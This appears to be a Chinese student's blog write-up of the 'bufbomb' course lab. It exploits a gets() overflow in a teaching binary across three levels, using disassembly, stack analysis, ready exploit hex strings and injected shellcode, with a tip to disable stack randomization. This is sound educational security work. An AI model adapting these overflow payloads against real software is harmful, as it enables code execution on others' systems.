缓冲区溢出攻击实验

时间:2021-12-14 07:00:42

    又一个计系系统的实验。这次实验是基于C语言中gets()的漏洞设计的。

    实验目标:理解程序函数调用中参数传递机制、掌握缓冲区溢出攻击方法、熟悉GDB调试工具和objdump反汇编工具。

    实验环境:Fedora 13。

    实验内容:本实验设计为一个黑客利用缓冲区溢出技术进行攻击的游戏。我们仅给黑客(同学)提供一个二进制可执行文件bufbomb部分函数的C代码,不提供每个关卡的源代码。程序运行中有3个关卡,每个关卡需要用户输入正确的缓冲区内容,否则无法通过管卡

要求同学查看各关卡的要求,运用GDB调试工具和objdump反汇编工具,通过分析汇编代码和相应的栈帧结构通过缓冲区溢出办法在执行了getbuf()函数返回时作攻击,使之返回到各关卡要求的指定函数中。第一关只需要返回到指定函数,第二关不仅返回到指定函数还需要为该指定函数准备好参数,最后一关要求在返回到指定函数之前执行一段汇编代码完成全局变量的修改

 实验介绍

1. 攻击目标

实验程序为bufbomb。该程序中含有一个带有漏洞的getbuf()函数,其代码如下

int getbuf(){
char buf[12];
Gets(buf);
return 1;
}

系统函数gets()从标准输入设备读字符串,以回车结束读取,不会判断上限。

2. 攻击要求

目标程序bufbomb将执行test(),进而执行getbuf(),最终执行gets()。其中gets()会从标准输入设备读入数据。

1)getbuf()返回时,不返回到test(),而是直接返回到指定的smoke()函数。

2)getbuf()返回时,不返回到test(),而是直接返回到指定的fizz()函数,而且要求给fizz()函数传入一个黑客cookie值作为参数。其中cookie可以通过makecookie工具根据黑客姓名产生。——使用命令“./makecookie + 姓名”。

3)getbuf()返回时,不返回到test(),而是直接返回到指定的bang()函数,并且在返回到bang()之前,先修改全句变量global_value为你的黑客cookie值。

3. 攻击操作

已知bufbomb中有test()函数会调用getbuf()函数,并调用gets()从标准输入设备读入字符串。因此可以通过大于getbuf()中给出的数据缓冲区的字符串而破坏getbuf()栈帧,改变其返回地址——指向我们指定的函数。

具体操作如下:

1)使用gdb和objdump分析其栈帧结构,确定test()调用getbuf()后返回地址与buf缓冲区相对位置关系;
2)根据目标攻击函数地址,构造出传给gets()的数据(用于填充缓冲区并破坏栈帧结构)。将所构造的数据每字节用16进制数字表示(文本字符串,例如0x3用两个字符表示为“03”),并保存在exploit.txt文件中。
3)将exploit.txt文本文件中的数据通过sendstring工具转换成char类型的数据——保存在exploit_raw.txt中。比如利用管道“cat exploit.txt | ./sendstring | ./exploit_raw.txt”或通过重定向“./sendstring < exploit.txt > exploit_raw.txt”。
4)执行bufbomb,并将转换后的数据作为标准输入数据传入bufbomb。具体方法有多种,例如“cat exploit_raw.txt | bufbomb –t neo”、“bufbomb -t neo< exploit_raw.txt”。其中neo请替换成同学自己的名字。

5)将参数传入bufbomb时,也可指直接从exploit.txt文件开始,执行“$ cat exploit.txt | ./sendstring | ./bufbomb -t neo”。无需exploit_raw.txt的中转,直接由sendstring通过管道输入到bufbomb的标准输入设备中。


1.第一题

1.1 解题思路

找到getbuf代码,如下:

08048ad0 <getbuf>:

 8048ad0: 55                    push   %ebp

 8048ad1: 89 e5                 mov    %esp,%ebp  //将栈顶指针传给ebp

 8048ad3: 83 ec 28              sub    $0x28,%esp  //栈顶指针esp减去28,开辟28个地址空间

 8048ad6: 8d 45 e8              lea    -0x18(%ebp),%eax  //ebp-0x18的地址传给eax

 8048ad9: 89 04 24              mov    %eax,(%esp)

 8048adc: e8 df fe ff ff        call   80489c0 <Gets>  //在首地址为-0x18(%ebp)的位置输入字符串,字符串在栈帧中向上扩展。即当扩展到一定程度时,将会覆盖掉返回地址。

 8048ae1: c9                    leave  

 8048ae2: b8 01 00 00 00        mov    $0x1,%eax

 8048ae7: c3                    ret    

 8048ae8: 90                    nop

 8048ae9: 8d b4 26 00 00 00 00 lea    0x0(%esi,%eiz,1),%es

具体分析:

根据汇编代码,可以知道getbuf的栈帧结构如图1所示

缓冲区溢出攻击实验

             图1

根据代码的注释和图1,可以知道,这道题只需要计算出从返回地址到字符串首地址之间有多少个字节,然后输入等长的字符串来覆盖返回地址。字符串首地址为ebp-0x18。为了使函数返回到smoke()函数,这里需要把字符串的最后四个字节设置为smoke()函数的地址。

1.2 解题过程

找到smoke()函数的地址,为0x08048eb0,注意这里的前缀0也要填入。

缓冲区溢出攻击实验

              图2

字符串的后八位必须为b08e0408”,这样设置是因为字符串是存储在栈中,有先入后出的特点,所以需要把字符串按字节倒序填入栈中。对于其他的字节没有要求,只要凑够28位即可。总共需要输入32个字节。答案为:

00112233445566778899001122334455667788990011223344556677b08e0408

1.3 最终结果截图

缓冲区溢出攻击实验

                图3


2. 第二题

2.1 解题思路

查看fizz代码,如下:

08048e60 <fizz>:

 8048e60: 55                    push   %ebp

 8048e61: 89 e5                 mov    %esp,%ebp

 8048e63: 83 ec 08              sub    $0x8,%esp

 8048e66:8b 45 08             mov    0x8(%ebp),%eax

 8048e69: 3b 05 d4 a1 04 08     cmp    0x804a1d4,%eax  //0x804a1d4存放就是用户的cookie值,即运行命令“./bufbomb -t wuxiaobin”时传入的。

 8048e6f: 74 1f                 je     8048e90 <fizz+0x30>

 8048e71: 89 44 24 04           mov    %eax,0x4(%esp)

 8048e75: c7 04 24 8c 98 04 08 movl   $0x804988c,(%esp)

 8048e7c: e8 27 f9 ff ff        call   80487a8 <printf@plt>

 8048e81: c7 04 24 00 00 00 00 movl   $0x0,(%esp)

 8048e88: e8 5b f9 ff ff        call   80487e8 <exit@plt>

 8048e8d: 8d 76 00              lea    0x0(%esi),%esi

 8048e90: 89 44 24 04           mov    %eax,0x4(%esp)

 8048e94: c7 04 24 d9 95 04 08 movl   $0x80495d9,(%esp)

 8048e9b: e8 08 f9 ff ff        call   80487a8 <printf@plt>

 8048ea0: c7 04 24 01 00 00 00 movl   $0x1,(%esp)

 8048ea7: e8 44 fc ff ff        call   8048af0 <validate>

 8048eac: eb d3                 jmp    8048e81 <fizz+0x21>

 8048eae: 89 f6                 mov    %esi,%esi

具体分析:

代码红色部分是fizz参数的位置,即ebp+0x8,在ebp之前的栈中存的是ebp旧值。

2.2 解题过程

这里根据test函数的代码,得出当test调用getbuf函数时,其部分栈帧结构如下:

缓冲区溢出攻击实验

 图4  (图中地址是根据gdb调试得出的)

这里假设调用getbuf时,输入正确的字符串后,函数返回到fizz()函数,那么,test的栈帧结构将变成图5

缓冲区溢出攻击实验

            图5

5中红色部分为fizz函数的栈帧结构,那么ebp+8的值就是图5中的所表示的ebp+8这个参数的字节地址范围,这个位置就是fizz的传入参数。那么这道题的答案也就知道了。根据图1和图5,这次需要输入40个字节的字符串。倒数第8至倒数第16个字节代表fizz的地址,倒数8个字节是传入的参数,fizz()函数的地址为“08048e60”,参数根据题目要求需要传入一个黑客cookie值,我的cookie值为0x5f374086”。

缓冲区溢出攻击实验

                 图6

这里两个字符串依旧需要从尾部输入,也就是608e0408”和“8640375f”。那么答案就是:

00112233445566778899001122334455667788990011223344556677608e0408001122338640375f

2.3 最终结果截图

缓冲区溢出攻击实验

                 图7

3. 第三题

3.1 解题思路

首先看bang()的代码,如下:

08048e10 <bang>:

 8048e10: 55                    push   %ebp

 8048e11: 89 e5                 mov    %esp,%ebp

 8048e13: 83 ec 08              sub    $0x8,%esp

 8048e16: a1 c4 a1 04 08        mov   0x804a1c4,%eax  //0x804a1c4global_value的存放地址

 8048e1b: 3b 05 d4 a1 04 08     cmp    0x804a1d4,%eax  //0x804a1d4存放用户的cookie

 8048e21: 74 1d                 je     8048e40 <tiao'shi+0x30>

 8048e23: 89 44 24 04           mov    %eax,0x4(%esp)

 8048e27: c7 04 24 bb 95 04 08 movl   $0x80495bb,(%esp)

 8048e2e: e8 75 f9 ff ff        call   80487a8 <printf@plt>

 8048e33: c7 04 24 00 00 00 00 movl   $0x0,(%esp)

 8048e3a: e8 a9 f9 ff ff        call   80487e8 <exit@plt>

 8048e3f: 90                    nop

 8048e40: 89 44 24 04           mov    %eax,0x4(%esp)

 8048e44: c7 04 24 64 98 04 08 movl   $0x8049864,(%esp)

 8048e4b: e8 58 f9 ff ff        call   80487a8 <printf@plt>

 8048e50: c7 04 24 02 00 00 00 movl   $0x2,(%esp)

 8048e57: e8 94 fc ff ff        call   8048af0 <validate>

 8048e5c: eb d5                 jmp    8048e33 <bang+0x23>

 8048e5e: 89 f6                 mov    %esi,%esi

具体分析:

这道题和第二道题基本一样,唯一不同的是存放global_value的值不在栈中,根据ppt提示,这里需要用代码修改global_value的值,并把代码插入到字符串中。实现global_value修改的汇编代码容易,关键是怎么让它执行。下面实现代码执行的示意图

缓冲区溢出攻击实验

            图8

3.2 解题过程

这里插入的代码为

movl $0x5f374086,%eax

movl %eax,0x804a1c4

movl $0x8048e10,%eax

jmp *%eax

这里需要将这些转成二进制代码,然后再填入字符串中。这里可以利用反汇编的手段,即objdumpexe文件反汇编成txt文件得到其二进制代码。具体方法如下:

(1)由于我们要插入的代码是汇编代码,所以只能在汇编程序中插入,那么就新建一个汇编程序文件tmp.s,在文件中写如代码,如图9所示。

缓冲区溢出攻击实验

       图9

(2)接着对该tmp.s文件进行编译,生成tmp.o重定位目标程序

缓冲区溢出攻击实验

               图10

缓冲区溢出攻击实验

               图11

(3)

再对tmp.o文件进行反编译,生成tmp.txt文件

缓冲区溢出攻击实验

                  图12

缓冲区溢出攻击实验

         图13 反编译得到的txt文件内容

这就是修改global_value和跳转到bang()函数的代码。最后的工作是在返回地址那个地方填入这段代码的起始地址,即0xbfffb8f0。所以这道题的答案就是:

b88640375fa3c4a10408b8108e0408ffe00011223344556677889900f0b8ffbf

总共32个字节,代码占了17个字节,返回地址占了4个字节,其它随便填。

3.3 最终结果截图

缓冲区溢出攻击实验

                 图14

最后的总结

这个实验最后一道题有一个坑点,就是答案在gdb里面调试的时候可以过,但在shell中直接运行过不了,这是因为linux系统有栈随机化的保护措施,可以避免一般的栈攻击,可以通过关闭栈随机化来运行第三道题的答案。具体关闭方法网上有很多,这里就不再说了。